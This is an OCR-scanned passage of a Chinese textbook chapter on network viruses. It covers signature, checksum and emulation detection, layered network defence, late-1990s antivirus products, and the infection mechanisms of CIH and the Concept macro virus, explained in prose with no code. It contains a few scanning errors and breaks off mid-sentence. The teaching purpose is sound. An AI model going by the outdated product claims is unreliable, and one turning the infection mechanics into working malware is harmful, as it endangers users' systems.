电脑 用 户 ,更 应 当 增强 安全 意识 ,多 学 习 和 了 解 基本 的 计算 机 和 网 络 安全 防范 知识 和 技术 ， 
做 到 不 登录 和 单 击 不 明 网 站 和 链接 ,每 日 升级 杀毒 软件 病毒 库 和 修复 操作 系统 漏洞 ,尽量 使 
用 最 新 版 本 的 应 用 软件 等 安全 防范 措施 。 

例如 ,在 德国 汉堡 一 个 名 为 Chaos Computer 的 俱乐部 ,俱乐部 某 成 员 编制 了 一 种 新 型 
的 病毒 一 一 这 种 病毒 可 以 找 出 Internet 用 户 的 私人 银行 资料 ,还 可 以 进入 银行 系统 将 资金 
转 出 ,不 需要 个 人 身份 证 明 , 也 不 需要 转账 密码 。 当 使 用 者 在 浏览 全 球 网 站 时 ,这 个 病毒 会 
自动 经 由 ActiveX 控制 载 人 。ActiveX 控制 可 搜寻 使 用 者 计算 机 的 硬盘 ,来 寻找 Intuit 
Quicken 这 个 已 有 全 球 超过 900 万 使 用 者 的 知名 个 人 理财 软件 。 一 旦 发 现 Quicken 的 文 
件 ,这 个 病毒 就 会 下 转账 指令 。 


7.5 计算 机 网 络 病毒 的 检测 、 清 除 与 防范 


7.5.1 计算 机 网 络 病毒 的 检测 


一 台 计 算 机 染 上 病毒 之 后 ,会 有 许多 明显 或 不 明显 的 特征 。 例 如 ,文件 的 长 度 和 日 期 忽 
然 改变 ,系统 执行 速度 下 降 或 出 现 一 些 奇 怪 的 信息 或 无 故 死机 或 更 为 严重 的 硬盘 已 经 被 格 
式 化 。 

常用 的 防毒 软件 是 如 何 去 发 现 它们 的 呢 ? 它们 就 是 利用 所 谓 的 病毒 码 (Virus Pattern) 。 
病毒 码 其实 可 以 想象 成 是 犯人 的 指纹 , 当 防 毒 软件 公司 收集 到 一 个 新 的 病毒 时 ,就 会 从 这 个 
病毒 程序 中 截取 一 小 段 独 一 无 二 且 足 以 表示 这 个 病毒 的 二 进 制程 序 码 (Binary Code) ,来 作 
为 扫 毒 程序 辨认 此 病毒 的 依据 ,而 这 段 独一无二 的 二 进 制 程序 码 就 是 所 谓 的 病毒 码 。 在 电 
脑 中 所 有 可 以 执行 的 程序 (如 * .exe,x.com) 几 乎 都 是 由 二 进 制 程序 码 所 组 成 ,也 就 是 电 
脑 的 最 基本 语言 一 一 机 器 码 。 就 连 宏 病 毒 在 内 ,虽然 它 只 是 包含 在 Word 文件 中 的 宏 命 令 
集 ,但 它 也 是 以 二 进 制 代 码 的 方式 存在 于 Word 文件 中 。 

反 病 毒 软件 常用 以 下 6 种 技术 来 查找 病毒 。 

1. 病毒 特征 码 扫 描 法 

将 新 发 现 的 病毒 加 以 分 析 后 ,根据 其 特征 编 成 病毒 码 , 加 入 资料 库 中 。 以 后 每 当 执行 扫 
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毒 程序 时 , 便 能 立刻 扫描 目标 文件 ,并 做 病毒 码 比 对 , 即 能 侦 测 到 是 否 有 病毒 。 病 毒 码 扫描 
法 又 快 又 有 效率 (例如 趋势 科技 的 PC-cillin 及 Server Protect, 利 用 深层 扫描 技术 ,在 即时 扫 
描 各 个 或 大 或 小 的 文件 时 ,平均 只 需 1/20 秒 的 时 间 ) ,大 多 数 防毒 软件 均 采 用 这 种 方式 , 但 
其 缺点 是 无 法 侦 测 到 未 知 的 新 病毒 及 以 变种 病毒 。 

2. 加 总 比 对 法 (Check-sum) 

根据 每 个 程序 的 文件 名 称 、 大 小 、 时 间 、 日 期 及 内 容 , 合 起 来 作为 一 个 检查 码 , 再 将 检查 
码 附 于 程序 的 后 面 或 是 将 所 有 检查 码 放 在 同一 个 资料 库 中 ,再 利用 此 Check-sum 系统 , 追 
踪 并 记录 每 个 程序 的 检查 码 是 否 遭 更 改 , 以 判断 是 否 中 毒 。 这 种 技术 可 侦 测 到 各 式 的 病毒 ， 
但 最 大 的 缺点 就 是 误 判 率 高 , 且 无 法 确认 是 哪 种 病毒 感染 的 。 

3. 人 工 智 能 陷阱 

人 工 智能 陷阱 是 一 种 监测 电脑 行为 的 常 驻 式 扫描 技术 。 它 将 所 有 病毒 所 产生 的 行为 归 
纳 起 来 ,一 旦 发 现 内 存 的 程序 有 任何 不 当 的 行为 ,系统 就 会 有 所 警觉 ,并 告知 使 用 者 。 这 种 
技术 的 优点 是 执行 速度 快 、 使 用 简便 , 且 可 以 侦 测 到 各 式 病毒 ;其 缺点 就 是 程序 设计 难 , 且 不 
容易 考虑 周全 。 不 过 在 这 千变万化 的 病毒 世界 中 ,人 工 智 能 陷阱 扫描 技术 是 一 种 较 新 的 反 
病毒 技术 。 

4. 软件 模拟 扫描 法 

软件 模拟 扫描 技术 专门 用 来 对 付 千 面 人 病毒 (polymorphic/mutation virus)。 千 面 人 
病毒 在 每 次 传染 时 ,都 以 不 同 的 随机 乱 数 加 密 于 每 个 中 毒 的 文件 中 ,传统 病毒 码 比 对 的 方式 
根本 就 无 法 找到 这 种 病毒 。 软 件 模 拟 技 术 则 是 成 功 地 模拟 CPU 执行 ,在 其 设计 的 DOS 虚 
拟 机 器 (virtual machine) 下 假 执行 病毒 的 变 体 引擎 解码 程序 ,安全 并 确实 地 将 多 型 体 病 毒 
解 开 , 使 其 显露 原本 的 面目 ,再 加 以 扫描 。 

5. VICE(Cvirus instruction code emulation) 先知 扫描 法 

VICE 先知 扫描 技术 是 继 软 件 模 拟 后 的 一 大 技术 上 突破 。 既 然 软 件 模拟 可 以 建立 一 个 
保护 模式 下 的 DOS 虚拟 机 器 ,模拟 CPU 动作 并 假 执行 程序 以 解 开 变 体 引擎 病毒 ,那么 应 用 
类 似 的 技术 也 可 以 用 来 分 析 一 般 程序 检查 可 疑 的 病毒 码 。 因 此 ,VICE 将 工程 师 用 来 判断 
程序 是 否 有 病毒 码 存 在 的 方法 ,分 析 归 纳 成 专家 系统 知识 库 , 再 利用 软件 工程 的 模拟 技术 
(software emulation) 假 执行 新 的 病毒 , 则 可 分 析出 新 病毒 码 对 付 以 后 的 病毒 。 

6. 即时 1/O 扫描 (realtime 1/O scan) 

即时 WO 扫描 的 目的 在 于 即时 地 对 数据 的 输入 输出 动作 做 病毒 码 比 对 的 动作 ,希望 能 
够 在 病毒 尚未 被 执行 之 前 ,就 能 够 把 病毒 检查 出 来 。 理 论 上 ,这 样 的 即时 扫描 技术 会 影响 到 
数据 的 输入 输出 速度 。 但 是 使 用 实时 扫描 技术 ,文件 传送 进来 之 后 ,就 等 于 扫 过 一 次 毒 了 。 
从 整体 上 来 讲 , 是 没有 什么 差别 的 。 


7.5.2 计算 机 网 络 病毒 的 防范 


防范 网 络 病毒 的 过 程 实际 上 就 是 技术 对 抗 的 过 程 , 反 病毒 技术 相应 也 得 适应 病毒 繁衍 
和 传播 的 方式 的 发 展 而 不 断 调整 。 网 络 防 病毒 应 该 利用 网 络 的 优势 ,使 网 络 防 病毒 逐渐 成 
为 网 络 安全 体系 的 一 部 分 , 重 在 防范 。 从 防 病毒 、 防 黑客 、 灾 难 恢复 等 几 个 方面 综合 考虑 , 形 
成 一 整套 安全 机 制 ,才能 最 有 效 地 保障 整个 网 络 的 安全 。 
今天 的 网 络 防 病毒 解决 方案 主要 从 下 列 几 个 方面 着 手 进 行 病毒 防治 。 
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(1) 以 网 为 本 , 防 重 于 治 。 

防治 病毒 应 该 从 网 络 整体 考虑 ,从 方便 减少 管理 人 员 的 工作 着 手 , 通 过 网 络 管理 PC。 
例如 ,利用 网 络 唤醒 功能 ,在 夜间 对 全 网 的 PC 进行 扫描 ,检查 病毒 情况 ;利用 在 线 报警 功 
能 , 当 网 络 上 每 一 台 机 器 出 现 故障 ,病毒 侵 入 ,网 络 管理 人 员 都 会 知道 ,从 而 从 管理 中 心 处 予 
以 解决 。 

(2) 与 网 络 管理 集成 。 

网 络 防 病毒 最 大 的 优势 在 于 网 络 的 管理 功能 ,如 果 没 有 把 网 络 管理 加 上 ,很 难 完 成 网 络 
防毒 的 任务 。 管 理 与 防范 相 结合 ,才能 保证 系统 的 良好 运行 。 管 理 功 能 就 是 管理 全 部 的 网 
络 设备 : 从 Hub 交换机、 服务 器 到 PC 等 所 有 病毒 可 能 进来 的 地 方 。 

(3) 建立 综合 安全 体系 。 

计算 机 网 络 的 安全 威胁 主要 来 自 计 算 机 病毒 .黑客 攻击 和 拒绝 服务 攻击 3 个 方面 ,因而 
计算 机 的 安全 体系 也 应 从 这 几 个 方面 综合 考虑 ,形成 一 整套 的 安全 机 制 。 防 病毒 软件 、 防 火 
墙 产品 相互 补充 ,形成 一 整套 的 解决 方案 , 才 是 最 有 效 的 网 络 安全 手段 。 

(4) 多 层 防御 。 

多 层 防 御 体 系 将 病毒 检测 、 多 层 数据 保护 和 集中 式 管理 功能 集成 起 来 ,提供 了 全 面 的 病 
毒 防护 功能 ,从 而 保证 了 “治疗 ”病毒 的 效果 。 病 毒 检 测 一 直 是 病毒 防护 的 支柱 ,多 层次 防御 
软件 使 用 了 3 层 保护 功能 : 实时 扫描 、 完 整 性 保护 、 完 整 性 检验 。 

后 台 实 时 扫描 驱动 器 能 对 未 知 的 病毒 包括 异型 病毒 和 秘密 病毒 进行 连续 的 检测 。 它 能 
对 E-mail 附件 、 下 载 的 Internet 文件 (包括 压缩 文件 )、 软 盘 及 正在 打开 的 文件 进行 实时 的 
扫描 检验 。 扫 描 驱 动 器 能 阻止 已 被 感染 过 的 文件 复制 到 服务 器 或 工作 站 上 。 

完整 性 保护 可 阻止 病毒 从 一 个 受 感染 的 工作 站 扩散 到 服务 器 。 完 整 性 保护 不 只 是 病毒 
检测 ,实际 上 它 能 制止 病毒 以 可 执行 文件 的 方式 感染 和 传播 。 完 整 性 保护 还 可 防止 与 未 知 
病毒 感染 有 关 的 文件 骨 湿 。 

完整 性 检验 使 系统 无 须 匈 余 的 扫描 并 且 能 提高 实时 检验 的 性 能 。 

集中 式 管理 是 网 络 病毒 防护 最 可 靠 、 最 经 济 的 方法 。 多 层次 防御 病毒 软件 把 病毒 检测 、 
多 层 数据 保护 和 集中 式 管理 的 功能 集成 在 同一 产品 内 ,因而 极 大 地 减轻 了 反 病 毒 管理 的 负 
担 , 而 且 提 供 了 全 面 的 病毒 防护 功能 。 

(5) 网 关 、 服 务 器 上 防御 。 

大 量 的 病毒 针对 网 上 资源 的 应 用 程序 进行 攻击 ,这 样 的 病毒 存在 于 信息 共享 的 网 络 介 
质 上 ,因而 要 在 网 关上 设防 ,网 络 前 端 实时 杀毒 。 防 范 手段 应 集中 在 网 络 整体 上 ,在 个 人 计 
算 机 的 硬件 和 软件 .LAN 服务 器 .服务 器 上 的 网 关 、Internet 及 Intranet 的 站 点 上 , 层 层 设 
防 ,对 每 种 病毒 都 实行 隔离 .过 滤 。 


7.5.3 病毒 防治 新 产品 


病毒 的 发 展 , 促 进 了 反 病 毒 技术 的 发 展 , 反 病毒 产品 也 得 到 了 相应 的 发 展 , 涌 现 出 了 许 
多 既 适 合 单机 ,也 适合 于 局 域 网 ,广域网 的 全 方位 防 杀 病 毒 新 品 。 例 如 ,防火 墙 技术 与 病毒 
防治 技术 的 结合 ,就 是 一 个 新 型 有 效 的 抗 网 络 病毒 方案 。 

下 面 是 一 些 现 有 的 防 病毒 新 产品 的 介绍 。 
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1. KILL98: 冠 群 金 搬 公司 产品 

它 的 最 大 特色 是 采用 CA 独 有 的 主动 内 核 技术 (Active-K) 的 反 病 毒 技术 ,直接 在 操作 
系统 内 核 中 加 入 反 病 毒 功能 。 不 仅 可 以 在 病毒 人 侵 的 瞬间 做 出 反应 ,还 可 将 企图 人 侵 系 统 
的 病毒 拦截 在 系统 之 外 并 清除 ,给 用 户 带 来 很 大 的 主动 性 。KILL98 能 够 集中 修改 .更 新 、 
管理 活动 日 志 报 告 。 这 种 支持 NetWare 目录 服务 (NDS) 集 成 的 功能 ,大 大 简化 了 保护 网 络 
免 受 病毒 困扰 的 工作 。 此 外 , 它 还 具备 实时 病毒 检测 .压缩 文件 自动 扫描 关键 磁盘 保护 . 灾 
难 恢 复 等 多 项 功能 。 

最 新 版 本 的 KILL 能 够 探测 到 所 有 流行 病毒 并 有 效 保护 计算 机 及 网 络 免 受 潜在 病毒 的 
攻击 ,并 避免 引发 巨大 的 经 济 损失 。KILL 的 核心 由 完备 而 卓有成效 的 病毒 扫描 引擎 构成 ， 
其 独特 之 处 包括 : 实时 修复 ,统一 管理 防火墙 ,病毒 隔 离 . 无 人 值守 自动 升级 病毒 特征 库 、 
广泛 的 预警 选项 与 群 件 防护 等 。KILL 总 是 在 独立 实验 室 的 对 比 测试 中 胜出 对 手 , 一 系列 
的 测试 表明 KILL 能 够 提供 有 效 的 主动 防护 ,可 有 效 避 免 各 种 类 型 病毒 的 攻击 。 

2. McAfee TVD: 网 络 联盟 公司 (NAD 产 品 

NAI 提供 了 几 套 解决 方案 : VSS 是 一 个 高 级 桌面 反 病 毒 解决 方案 ,可 杀 灭 1500 种 病 
毒 ,其 Web Scan 一 X 功能 可 以 防止 用 户 在 Internet 下 载 时 ,一 些 恶 意 Java 和 ActiveX 小 程 
序 对 台式 机 造成 的 破坏 ; NSS 可 以 提供 对 企业 基于 Windows NT,Netware, UNIX 的 文件 
服务 器 与 应 用 程序 服务 器 以 及 Exchange 与 Lotus Notes 群 件 服务 器 ,HTTP/FTP 代理 服 
务 器 的 病毒 保护 。 

3. Norton AntiVirus: Symantec 公司 产品 

它 的 最 大 特点 是 智能 化 ,其 防毒 体系 由 桌面 .服务 器 、Internet 网 关 以 及 病毒 防火 墙 构 
成 ,能 杀 灭 15 600 多 种 病毒 。 在 Windows NT 环境 ,如 果 不 激 活 最 新 的 防 病毒 软件 , 它 不 允 
许 任何 工作 站 访问 网 络 , 并 能 够 自动 把 最 新 版 本 的 病毒 定义 无 缝 地 分 布 到 网 络 中 的 每 一 台 
设备 上 ,而 当 网 络 中 任何 一 台 工 作 站 或 服务 器 发 现 病毒 时 , 它 都 会 自动 通知 网 络 管理 员 。 此 
外 它 还 可 防范 电子 邮件 及 其 附件 病毒 。 

4. LANDesk Virus Protect: Intel 公司 产品 

它 的 最 大 特色 是 运用 多 层次 防 病毒 技术 并 能 集中 管理 反 病毒 解决 方案 ,能 在 Netware， 
Windows NT 两 种 网 络 的 客户 机 和 服务 器 上 监测 和 防止 数据 丢失 。 在 操作 系统 变迁 期 间或 
是 存在 多 个 NOS 的 网 络 域 上 ,客户 不 需要 购买 新 的 或 额外 的 病毒 防护 产品 。 

5. 瑞星 杀毒 软件 9.0 版 : 瑞星 公司 产品 

它 的 最 大 特色 是 单机 版 与 网 络 版 合 二 为 一 , 极 好 地 解决 了 杀毒 软件 既 可 在 单机 上 使 用 ， 
又 能 适应 网 络 化 需要 的 技术 难题 。 

6. Kaspersky Anti-Virus(AVP) : Kaspersky lab 公司 产品 

这 是 Kaspersky lab 公司 针对 Linux 操作 系统 而 开发 的 Kaspersky Anti-Virus(AVP) 
的 新 版 本 。 其 最 新 版 本 所 具有 的 独特 功能 使 程序 简单 易 操 作 ,而且 它 是 全 球 首 个 将 防 病毒 
程序 与 E-mail 网 关 Sendmail 和 Qmail 整合 为 一 体 的 防 病毒 解决 方案 。 这 个 新 版 本 分 为 工 
作 站 版 和 服务 器 版 两 款 产品 。 这 个 新 版 本 还 提供 了 为 E-mail 网 关 程 序 Sendmail 和 Qmail 
建立 集成 式 病毒 防火 墙 的 能 力 。 它 可 持续 地 对 往来 的 E-mail 进行 过 滤 并 能 够 迅速 地 击 退 
那些 企图 通过 E-mail 进行 恶意 攻击 的 程序 。 

上 述 产品 各 有 特色 , 几 种 综合 起 来 使 用 可 以 优势 互补 ,产生 最 强 的 防御 效果 。 
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7.6 ”网络 病毒 的 实例 


7.6.1 CIH 病毒 机 制 及 防护 


CIH 病毒 被 认为 是 有 史 以 来 第 一 种 在 全 球 范围 内 造成 巨大 破坏 的 计算 机 病毒 ,导致 无 
数 台 计算 机 的 数据 唱 到 破坏 。 爆 发 第 一 年 在 全 球 范围 内 造成 了 2000 万 至 8000 万 美元 的 
损失 。 

CIH 病毒 属 文件 型 病毒 ,其 别名 有 Win95. CIH ,Space filler, Win32. CIH ,PE_CIH , 它 
主要 感染 Windows 95/98 下 的 可 执行 文件 (PE 格式 ,Portable Executable Format) , 目前 的 
版 本 不 感染 DOS 以 及 Windows 3. x(NE 格式 ,Windows and OS/2, Windows 3. 1 Execute 
File Format) 下 的 可 执行 文件 ,并 且 在 Windows NT 中 无 效 。 其 发 展 过 程 经 历 了 v1. 0， 
V1.1,v1.2,v1.3,v1.4 总 共 5 个 版 本 。 

1. CIH 病毒 分 析 

CIH 病毒 是 迄今 为 止 发 现 的 最 阴险 的 病毒 之 一 。 它 发 作 时 不 仅 破 坏 硬 盘 的 引导 区 和 
分 区 表 , 而且 破坏 计算 机 系统 Flash BIOS 芯片 中 的 系统 程序 ,导致 主板 损坏 。CIH 病毒 是 
发 现 的 首 例 直 接 破坏 计算 机 系统 硬件 的 病毒 。 该 病毒 的 特点 是 只 感染 32 位 的 Windows 
95/98 可 执行 文件 ,对 于 DOS 下 Windows 3. x 以 及 NT 下 的 文件 不 影响 ,因为 CIH 病毒 使 
用 的 是 VXD 技术 ,而 且 被 CIH 病毒 感染 了 的 文件 长 度 不 会 改变 ,所 以 很 难 发 现 。 当 一 个 病 
毒 在 内 存 中 发 现 有 新 的 可 执行 文件 在 运行 时 ,就 去 检查 该 文件 中 是 否 包 含 某 一 个 特定 的 字 
符 串 ,如 果 没 有 找到 就 开始 感染 。 它 感染 时 首先 检测 到 文件 的 头 部 , 当 发 现 至 少 有 184 个 字 
节 的 空间 时 ,就 将 本 身 的 引导 信息 写 入 此 空间 ,病毒 中 所 含 的 其 余 代码 部 分 则 分 别 写 入 文件 
内 部 的 空闲 区 域 , 所 以 感染 前 后 的 文件 不 会 增加 长 度 。CIH 病毒 本 身 的 长 度 约 为 1KB 左 
右 。CIH 1.2 版 的 发 作 日 期 是 每 年 的 4 月 26 日 ;CIH 1.3 版 的 发 作 日 期 是 每 年 的 6 月 
26 日 ;CIH 1.4 版 的 发 作 日 期 则 是 每 月 的 26 日 (有 些 变种 是 在 27 或 28 日 发 作 )。 所 以 在 
每 月 的 26 日 之 前 ,请 务必 备份 自己 的 重要 数据 。 这 里 所 说 的 发 作 日 是 指 病毒 损坏 硬盘 和 主 
板 的 日 期 。 如 果 在 某 月 的 26 日 开机 时 ,屏幕 出 现 的 提示 是 : Disk Boot Failure, Insert 
System Disk And Press Enter, 用 户 可 能 会 插入 系统 软盘 启动 机 器 ,但 当 需 要 转 到 硬盘 提示 
符 时 , 却 得 到 “Invalid Drive Specification” 的 信息 ,就 表明 硬盘 的 主 引导 区 已 经 被 改写 了 ,这 
极 有 可 能 就 是 CIH 病毒 已 经 成 功 地 攻击 了 用 户 的 系统 。 

2. CIH 病毒 发 作 现 象 

CIH 病毒 发 作 时 ,将 用 凌乱 的 信息 覆盖 硬盘 主 引导 区 和 系统 BOOT 区 ,改写 硬盘 数据 ， 
破坏 Flash BIOS, 用 随机 数 填充 Flash 内 存 , 导 致 机 器 无 法 运行 。CIH 病毒 对 Flash BIOS 
的 操作 , 仅 在 主板 和 芯片 允许 写 Flash 存储 器 时 才 有 可 能 ,所 以 该 病毒 发 作 时 仅 会 破坏 大 多 
数 可 升级 主板 的 Flash BIOS。 

一 旦 系统 不 幸 遇 到 了 这 样 的 情况 ,除了 硬盘 中 的 数据 丢失 外 ,很 有 可 能 主板 也 已 经 报 
废 ,只 能 更 换 主 板 或 请 专业 人 员 重 新 填写 Flash BIOS 信息 。 

CIH 病毒 有 多 个 变种 ,只 感染 Windows 95,Windows 98 的 .EXE 和 . PE 格式 文件 , 病 
毒 代 码 分 解 为 一 个 或 多 个 不 同 大 小 的 碎 块 ,潜伏 在 文件 内 部 的 不 同 地 方 ,文件 总 长 度 无 
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变化 。 

PE 文件 格式 是 32 位 的 ,文件 头 标 存放 了 文件 各 模块 参数 。CIH 病毒 修改 了 这 些 32 位 参 
数 ,并 使 其 文件 映像 执行 参数 首先 指向 病毒 的 程序 体 。 杀 CIH 病毒 除 需要 对 Windows 底 
层 技 术 有 所 了 解 外 ,还 需要 对 Windows 的 PE 格式 文件 有 所 了 解 。 如 不 了 解 , 查 杀 这 种 病 
毒 也 可 采取 简单 的 办 法 。 有 些 杀毒 软件 仅仅 修改 一 个 病毒 映像 开始 执行 的 参数 ,以 及 少量 
的 去 掉 了 病毒 头 的 部 分 字 节 ,但 这 样 简单 杀毒 后 的 文件 会 留 有 病毒 残余 代码 ,很 容易 引起 问 
题 , 因 此 应 彻底 清除 病毒 ,否则 处 理 不 当 就 会 把 文件 破坏 。 

3. CIH 病毒 传染 后 遗 BUG 

由 于 Windows 系统 运行 设置 条 件 和 被 传染 的 文件 头 标 数 据 模块 的 大 小 不 一 样 , 被 CIH 
病毒 感染 后 ,小 部 分 文件 会 产生 各 种 各 样 不 正常 的 特殊 的 传染 结果 ,例如 文件 中 的 病毒 体 前 
部 ,执行 文件 在 被 执行 中 又 被 自身 文件 动态 地 覆盖 了 一 小 部 分 代码 。 但 文件 映像 执行 参数 
还 首先 指向 病毒 程序 体 ,病毒 有 可 能 还 会 被 执行 或 残缺 执行 ,有 可 能 执行 发 作 破坏 指令 ,也 
有 可 能 文件 坏 掉 了 不 能 再 执行 ,造成 某 些 查 病毒 软件 对 此 漏 查 。 某 些 文件 中 的 病毒 体 , 因 为 
文件 头 标 格式 特殊 ,CIH 病毒 躲藏 在 文件 的 后 部 ,使 某 些 查 病毒 软件 也 会 漏 查 漏 杀 。 某 些 
文件 中 的 病毒 ,残缺 了 一 部 分 传染 在 文件 内 , 某 些 杀毒 软件 , 没 认 真 彻 底 研 究 透 32 位 的 
PE 文件 格式 ,只 查 杀 出 大 多 数 PE 文件 头 标 前 部 潜藏 的 CIH 病毒 ,而 漏 查 了 许多 PE 文件 
头 标 深部 感染 的 CIH 病毒 ,这 非常 危险 。 有 些 杀 毒 软 件 , 只 简单 地 把 文件 中 的 CIH 病毒 第 
一 碎 块 中 的 文件 映像 开始 执行 指针 参数 恢复 , 没 把 病毒 隐藏 在 文件 体 中 的 各 个 碎 块 清理 掉 。 
上 述 做 法 都 使 病毒 体 完整 或 不 完整 地 残留 在 文件 中 ,文件 代码 中 有 破坏 的 代码 存在 ,所 以 仍 
然 具 有 危险 。 

4. CIH 的 免疫 

在 网 上 有 免费 的 CIH 病毒 疫苗 供 下 载 。CIH 病毒 免疫 程序 是 免疫 的 疫苗 而 不 是 杀毒 
程序 ,所 以 安装 前 ,必须 回 到 纯 DOS 状态 ,然后 用 杀毒 软件 彻底 把 病毒 杀 干 净 。 再 回 到 
Windows 95/98(CIH 病毒 只 在 此 环境 下 才 发 作 ) ,将 cih. zip 解压 缩 后 ,释放 出 3 个 文件 , 执 
行 其 中 的 setup. exe 即 可 进行 安装 。 安 装 完 后 系统 会 自动 重新 启动 ,这 时 电脑 已 经 有 免疫 
能 力 , 即 使 是 运行 含有 CIH 病毒 的 软件 ,也 不 会 感染 ,直到 用 户 重新 安装 系统 。 

免疫 程序 安装 后 ,电脑 就 会 对 CIH 系列 的 病毒 产生 免疫 。 以 后 不 小 心 从 网 上 下 载 了 含 
有 CIH 病毒 的 程序 也 大 可 放心 地 执行 ,其 他 所 有 没 中 毒 的 程序 也 不 会 被 感染 。 即 使 到 了 发 
作 时 间 ,也 不 会 发 作 ,因为 系统 中 根本 没 常 驻 CIH 病毒 。 

CIH 病毒 免疫 程序 原理 是 这 样 的 : 每 次 开机 时 ,系统 就 会 立即 自动 执行 cih. exe 程序 ， 
运行 的 结果 只 是 在 系统 的 一 个 存储 器 DR0 中 作 一 个 记号 ,程序 并 不 驻 留 内 存 , 也 不 会 与 其 
他 杀毒 软件 冲突 ,自身 也 不 会 被 感染 。 这 之 后 如 果 运 行 了 带 CIH 病毒 的 程序 ,CIH 病毒 也 
不 会 驻 进 内 存 (CIH 病毒 在 驻 留 内 存 前 先 判 断 DR0 暂 存 器 ,免疫 程序 已 经 作 了 记号 ,病毒 会 
认为 自己 已 经 挂 在 系统 中 ) ,也 不 会 感染 和 发 作 了 。 

被 CIH 破坏 的 ROM BIOS 可 从 主板 厂商 的 网 址 上 下 载 相 应 型 号 主板 的 BIOS 文件 , 然 
后 用 编程 器 写 入 。 


7.6.2 宏 病 毒 机 制 及 防护 


宏 病 毒 把 带 有 宏 功 能 的 数据 文件 作为 攻击 目标 , 它 只 是 近来 才 大 肆 草 延 。 当 前 ,这 种 病 
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毒 只 能 感染 Microsoft Word for Windows 和 Microsoft Excel for Windows 产品 。 然 而 , 它 
们 对 任何 支持 复杂 宏 功 能 的 应 用 程序 都 是 一 种 潜在 的 威胁 。 

这 些 病毒 是 独立 于 平台 的 ,可 以 感染 DOS,Macintosh, Windows 3. x, Windows 95 和 
Windows NT 操作 系统 中 的 文档 和 模板 。 它 们 在 感染 过 程 中 使 用 同样 的 基本 技术 。 下 面 将 
详细 介绍 这 种 恶毒 的 Word for Windows Concept 病毒 如 何 工作 ,并 且 解 释 它 为 什么 这 样 广 
泛 流行 。 

1. 病毒 如 何 、 何 时 得 到 控制 

Concept 病毒 通过 两 种 主要 方式 获得 控制 并 执行 。 在 第 一 种 情况 ,病毒 并 没有 渗入 
Word for Windows 环境 中 。 用 户 打开 被 感染 的 文档 ,这 个 文档 就 像 一 个 标准 的 Word for 
Windows. doc 文件 一 样 ; 然 而 它 实际 上 是 一 个 模板 文件 (. dot 格式 ) 伪 装 成 . doc 文件 。 对 最 
终 用 户 来 说 ,doc 文件 和 dot 文件 之 间 只 有 一 些 区 别 , 而 用 户 得 不 到 任何 信息 表明 自己 正在 
操作 一 个 模板 而 不 是 一 个 标准 文档 。 

任何 时 候 当 用 户 打 开 一 个 模板 文件 时 ,Word for Windows 会 检查 这 个 模板 中 是 否 包 含 
局 部 宏 。 如 果 它 包含 一 个 特别 的 局 部 宕 名 字 为 AutoOpen, 在 文件 打开 的 时 候 Word for 
Windows 就 会 执行 局 部 宏 中 的 指令 。 被 Concept 病毒 感染 的 模板 文件 有 一 个 特别 编写 的 
“ 带 毒 ”* 的 AutoOpen 宏 。 任 何 时 候 当 用 户 打 开 一 个 被 感染 的 模板 文件 时 , Word for 
Windows 就 像 对 待 正 常 的 AutoOpen 宏一 样 自动 执行 带 有 病毒 的 宏 。 当 用 户 打 开 一 个 被 
感染 的 文件 时 ,这 个 带 有 病毒 的 宏 就 会 执行 ,并 且 把 所 有 由 Concept 病毒 组 成 的 宏 从 模板 文 
件 的 局 部 宏 池 移 到 Word for Windows 的 全 局 宏 池 。 这 些 活动 会 自动 执行 ,而 不 需要 用 户 
的 许可 。 

在 用 户 完成 字 处 理会 话 并 退出 Word for Windows 后 ,Word for Windows 自动 把 对 全 
局 宏 池 做 的 所 有 修改 放 到 一 个 名 为 Normal. dot 的 特殊 文件 中 。Normal. dot 文件 包含 默认 
样式 信息 ,如 默认 启动 字体 以 及 系统 使 用 的 所 有 默认 全 局 宏 。 任 何 时候 当 这 些 信息 在 
Word for Windows 环境 中 被 修改 时 (例如 ,通过 添加 新 的 全 局 宏 ), 当 用 户 退 出 字 处 理 器 时 
Word for Windows 会 自动 把 这 些 更 新 的 信息 保存 到 Normal. dot 中 。 

不 幸 的 是 ,这 些 修改 未 经 与 用 户 交互 就 被 保存 起 来 ,并 且 用 户 没有 得 到 任何 修改 的 通 
知 。 当 用 户 退 出 应 用 程序 的 时 候 , Word for Windows 在 保存 Normal. dot 时 会 在 屏幕 上 显 
示 正 常 的 “Saving file( 保 存 文件 )” 信 息 。 然 而 , Word for Windows 完成 得 如 此 之 快 以 致 大 
多 数 用 户 不 会 注意 它 。 

在 病毒 更 新 全 局 池 后 ,其 中 包括 Normal. dot 文件 ,每 次 用 户 启 动 Word for Windows 
时 病毒 就 会 自动 装 和 全 局 池 。 产 生 这 种 情况 的 原因 是 无 论 何 时 Word for Windows 启动 ， 
它 都 会 自动 从 Normal. dot 模板 文件 自动 装 和 人 默认 样式 设置 和 全 局 宏 。 

在 初始 感染 后 ,Normal. dot 文件 中 将 包含 所 有 Concept 病毒 宏 , 其 中 包括 第 一 次 感染 
计算 机 的 AutoOpen 宏 的 一 份 副 本 。 当 Normal. dot 在 Word for Windows 启动 期 间 打 开 
时 ,Normal. dot 中 带 有 病毒 的 AutoOpen 宏 就 像 在 其 他 模板 文件 中 一 样 执行 。 每 次 用 户 启 
动 Word for Windows 时 ,病毒 就 会 自动 执行 ,并 且 把 它 自己 复制 到 全 局 宏 池 中 。 这 是 病毒 
在 Word for Windows 环境 中 获得 控制 的 第 二 种 方式 。 图 7-7 显示 了 宏 病 毒 的 感染 过 程 。 

2. 病毒 如 何 、 何 时 感染 新 项 目 

在 Concept 病毒 把 它 自己 安装 到 全 局 宏 池 中 之 后 ,对 于 进一步 传播 到 新 的 未 感染 的 文 
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档 就 不 存在 问题 。 除 了 病毒 的 AutoOpen 宏 以 外 ,病毒 还 包含 一 个 名 为 FileSaveAs 的 宏 。 
在 感染 过 程 中 病毒 还 可 以 把 这 个 宏 ( 从 一 个 已 感染 的 模板 文件 的 局 部 池 中 ) 复 制 到 全 局 宏 
池 中 。 

如 果 FileSaveAs 宏 在 局 部 或 全 局 宏 池 中 存在 ,任何 时 候 当 用 户 从 File 菜单 中 选择 Save 
As 选项 时 ,Word for Windows 都 要 执行 这 个 宏 。 在 环境 被 感染 后 ,如 果 用 户 编辑 一 个 未 被 
感染 的 文档 ,然后 使 用 Save As 选项 保存 一 个 副本 ,病毒 的 FileSaveAs 宏 就 会 执行 。 这 个 
pte ne et FileSaveAs 和 File Open) 从 全 
局 宏 池 复制 到 文档 的 局 部 宏 池 中 。 

这 个 宏 还 把 文件 类 型 从 一 种 标准 文档 格式 改变 为 容易 感染 的 . dot 格式 ,但 是 它 不 会 更 
